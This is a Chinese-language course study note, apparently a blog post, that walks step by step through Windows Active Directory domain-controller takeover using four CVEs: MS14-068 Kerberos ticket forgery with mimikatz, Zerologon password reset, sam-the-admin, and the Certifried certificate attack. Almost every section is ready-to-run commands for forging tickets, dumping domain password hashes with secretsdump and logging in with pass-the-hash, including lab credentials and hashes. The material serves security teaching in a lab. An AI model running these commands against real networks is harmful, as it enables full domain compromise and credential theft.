小迪安全v2023学习笔记(一百四十三讲)—— Win系统权限提升篇&AD内网域控&NetLogon&ADCS&PAC&KDC&CVE漏洞

文章目录

  • 权限提升------第一百四十三天
    • Win系统权限提升篇&AD内网域控&NetLogon&ADCS&PAC&KDC&CVE漏洞
      • 前置知识
      • [WIN-AD域控提权 - CVE_2014_6324](#WIN-AD域控提权 - CVE_2014_6324)
        • [1. 获取域用户SID值](#1. 获取域用户SID值)
        • [2. 从域控获取时间,从而得到域控主机名](#2. 从域控获取时间,从而得到域控主机名)
        • [3. ping该主机名,获取域控IP](#3. ping该主机名,获取域控IP)
        • [4. 获取当前域用户的一些基本信息](#4. 获取当前域用户的一些基本信息)
        • [5. 利用ms14-068.exe提权工具生成伪造 kerberos 协议认证证书](#5. 利用ms14-068.exe提权工具生成伪造 kerberos 协议认证证书)
        • [6. mimikatz导入伪造的kerberos协议认证证书](#6. mimikatz导入伪造的kerberos协议认证证书)
        • [7. 尝试链接域控C盘](#7. 尝试链接域控C盘)
        • [8. 使用psexec获取域控cmd权限](#8. 使用psexec获取域控cmd权限)
      • [WIN-AD域控提权 - CVE_2020_1472](#WIN-AD域控提权 - CVE_2020_1472)
        • [1. 漏洞检测](#1. 漏洞检测)
        • [2. 利用漏洞重置域控为空密码](#2. 利用漏洞重置域控为空密码)
        • [3. 连接域控导出密码hash](#3. 连接域控导出密码hash)
        • [4. 利用WMI连接域控](#4. 利用WMI连接域控)
      • [WIN-AD域控提权 - CVE_2021_42287](#WIN-AD域控提权 - CVE_2021_42287)
      • [WIN-AD域控提权 - CVE_2022_26923](#WIN-AD域控提权 - CVE_2022_26923)
        • [1. 获取CA结构名和计算机名](#1. 获取CA结构名和计算机名)
        • [2. 利用Certipy工具申请证书](#2. 利用Certipy工具申请证书)
        • [3. 利用Certipy工具检测证书](#3. 利用Certipy工具检测证书)
        • [4. 利用bloodyAD工具添加用户](#4. 利用bloodyAD工具添加用户)
        • [5. 利用bloodyAD工具设置属性](#5. 利用bloodyAD工具设置属性)
        • [6. 利用Certipy工具申请证书](#6. 利用Certipy工具申请证书)
        • [7. 利用Certipy工具检测证书](#7. 利用Certipy工具检测证书)
        • [8. 利用Impacket工具获取密码hash](#8. 利用Impacket工具获取密码hash)
        • [9. 通过获取的hash登录域控](#9. 通过获取的hash登录域控)

权限提升------第一百四十三天

Win系统权限提升篇&AD内网域控&NetLogon&ADCS&PAC&KDC&CVE漏洞

前置知识

所处环境
  • 本节课是权限提升的最后一讲,我们所处的位置是:

  • 然后本节课重回Windows提权,不过这里是关于内网的提权知识,所以会讲得比较粗略一些

  • 所以我觉得这节课搞不懂没关系,我也搞不太懂,只能说学了内网之后再回来好好看看吧

实战场景
  1. 通过技术手段拿下内网域环境下某一台服务器权限或某主机上的域用户账号密码后,
  2. 与AD域控网络通讯正常的情况下,可直接使用域控提权CVE漏洞进行域控权限提升。
什么是内网域?
  • 指的是一个组织或企业内部构建的、基于域(Domain)架构的私有网络系统。这个环境的核心是Windows Server 的 Active Directory(AD)域服务**,用于集中管理用户、计算机、权限、策略等资源。
  • 简单来说,就是一个公司或组织内部,用 Windows 域控制器(AD)统一管理所有电脑和用户的网络系统。
如何判断目标是否加入域环境?
图形化操作
命令行操作
  • 运行 net time /domain 该命令后,一般会有如下三种情况:
shell 复制代码
1.存在域,但当前用户不是域用户,提示说明权限不够
  C:\Windows>net time /domain
  发生系统错误 5 
  拒绝访问.

2.存在域,并且当前用户是域用户
  C:\Windows\Temp>net time /domain
  \\OWA2010SP3.0day.org 的当前时间是 2020/1/25 16:12:49
  令成功完成。

3.当前网络环境为工作组,不存在域
  C:\Users\Administrator>net time /domain
  找不到域 WORKGROUP 的域控制器。
域环境搭建

WIN-AD域控提权 - CVE_2014_6324

1. 获取域用户SID值
shell 复制代码
whoami /user
2. 从域控获取时间,从而得到域控主机名
shell 复制代码
net time /domain
3. ping该主机名,获取域控IP
shell 复制代码
ping DC.test.local
4. 获取当前域用户的一些基本信息
shell 复制代码
net config workstation
5. 利用ms14-068.exe提权工具生成伪造 kerberos 协议认证证书
shell 复制代码
ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址
ms14-068.exe -u john@test.local -p Admin123 -s S-1-5-21-2231436360-2128388746-3884401522-1106 -d 192.168.0.148
  • 他会生成这样一个文件出来
6. mimikatz导入伪造的kerberos协议认证证书
  • 运行mimikatz程序,先查看当前本地票据
shell 复制代码
kerberos::list
  • 然后清理掉这些缓存信息:
shell 复制代码
kerberos::purge
  • 接着导入我们之前生成的kerberos协议认证证书:
shell 复制代码
kerberos::ptc "TGT_john@test.local.ccache"
7. 尝试链接域控C盘
shell 复制代码
dir \\DC.test.local\C$
8. 使用psexec获取域控cmd权限
shell 复制代码
PsExec.exe \\DC.test.local cmd

WIN-AD域控提权 - CVE_2020_1472

1. 漏洞检测
  • 在已知域控主机名之后,下载项目中的PoC,用python运行:
shell 复制代码
python zerologon_tester.py <域控主机名> <域控IP>
2. 利用漏洞重置域控为空密码
  • 检测到漏洞可能存在之后,我们直接用EXP脚本去尝试利用:
shell 复制代码
python cve-2020-1472-exploit.py <域控主机名> <域控IP>
3. 连接域控导出密码hash
  • 然后我们用Impacket项目中的secretsdump.py文件去尝试导出域控存储的密码hash值:
shell 复制代码
python secretsdump.py <域环境>/<域控主机名>\$@<域控IP> -no-pass
  • 这里失败了,可能是我这台机器打过补丁,不允许以空哈希值登录了,如果成功它会导出所有用户的hash值,类似这样:
4. 利用WMI连接域控
  • 当我们获取到管理员的hash值之后,就可以通过impacket下的wmiexec.py脚本去尝试登录:
shell 复制代码
python wmiexec.py <域>/administrator@<域控IP> -hashes <域控密码hash>

WIN-AD域控提权 - CVE_2021_42287

  • 项目地址https://github.com/WazeHell/sam-the-admin
  • 利用条件:需要域内主机用户账号密码
  • 影响版本Windows Server 2008 - Windows Server 2022
  • 知道域内某个主机用户的账号密码后,直接运行上面的python脚本即可尝试提权:
shell 复制代码
python sam_the_admin.py <域>/'<域成员账号>:<域成员密码>' -dc-ip <域控IP> -shell
  • 在最后一步失败了,我真是没招了,也没学过内网,搞不懂是哪里出现了问题,正常结果就是直接拿到Shell了:

WIN-AD域控提权 - CVE_2022_26923

shell 复制代码
# Kali添加访问域内信息 /etc/hosts
192.168.3.111 xiaodi.local
192.168.3.111 xiaodi-DC-CA
192.168.3.111 DC.xiaodi.local

# 域内信息
192.168.3.111
test Pass123  # 普通域用户账号密码
xiaodi-DC-CA  # ca名
DC.xiaodi.local  # 域控名
1. 获取CA结构名和计算机名
shell 复制代码
certutil -config - -ping
2. 利用Certipy工具申请证书
shell 复制代码
certipy req 'xiaodi.local/test:Pass123@DC.xiaodi.local' -ca xiaodi-DC-CA -template User -debug
3. 利用Certipy工具检测证书
shell 复制代码
certipy auth -pfx test.pfx
4. 利用bloodyAD工具添加用户
shell 复制代码
python3 bloodyAD.py -d xiaodi.local -u test -p 'Pass123' --host 192.168.3.111 addComputer pwnmachine 'CVEPassword1234*'
5. 利用bloodyAD工具设置属性
shell 复制代码
python3 bloodyAD.py -d xiaodi.local -u test -p 'Pass123' --host 192.168.3.111 setAttribute 'CN=pwnmachine,CN=Computers,DC=xiaodi,DC=local' dNSHostName '["DC.xiaodi.local"]'
6. 利用Certipy工具申请证书
shell 复制代码
certipy req 'xiaodi.local/pwnmachine$:CVEPassword1234*@192.168.3.111' -template Machine -dc-ip 192.168.3.111 -ca xiaodi-DC-CA -debug
7. 利用Certipy工具检测证书
shell 复制代码
certipy auth -pfx ./dc.pfx -dc-ip 192.168.3.111
8. 利用Impacket工具获取密码hash
shell 复制代码
python secretsdump.py 'xiaodi.local/dc$@DC.xiaodi.local' -hashes :b6046c1026699b59301ff66341838df4
9. 通过获取的hash登录域控
shell 复制代码
python wmiexec.py xiaodi.local/administrator@192.168.3.111 -hashes aad3b435b51404eeaad3b435b51404ee:e6f01fc9f2a0dc96871220f7787164bd
相关推荐
71-36 小时前
牛客上的练习题——打印X形图案(有说明scanf返回值)
c语言·笔记·学习
NON-JUDGMENTAL7 小时前
DiverseVul
笔记·学习
落羽的落羽7 小时前
【Linux系统】C/C++的调试器gdb/cgdb,从入门到精通
linux·服务器·c语言·c++·人工智能·学习·机器学习
Dylan的码园7 小时前
以二叉树问题为基础的递归调试学习(上)
java·学习·算法·leetcode·r-tree
HaiLang_IT8 小时前
2026届 网络与信息安全专业毕业设计选题推荐与指导(含热门研究方向)
网络·安全·信息安全
低头不见8 小时前
策略模式上下文管理
windows·python·策略模式
rengang668 小时前
10-神经网络的工作原理:分析神经网络如何学习和推理
人工智能·深度学习·神经网络·学习
emma羊羊8 小时前
【weblogic】XML反序列化漏洞
xml·安全
电脑小管家8 小时前
笔记本蓝牙怎么开启 完整教程
windows·驱动开发·计算机外设·电脑·音频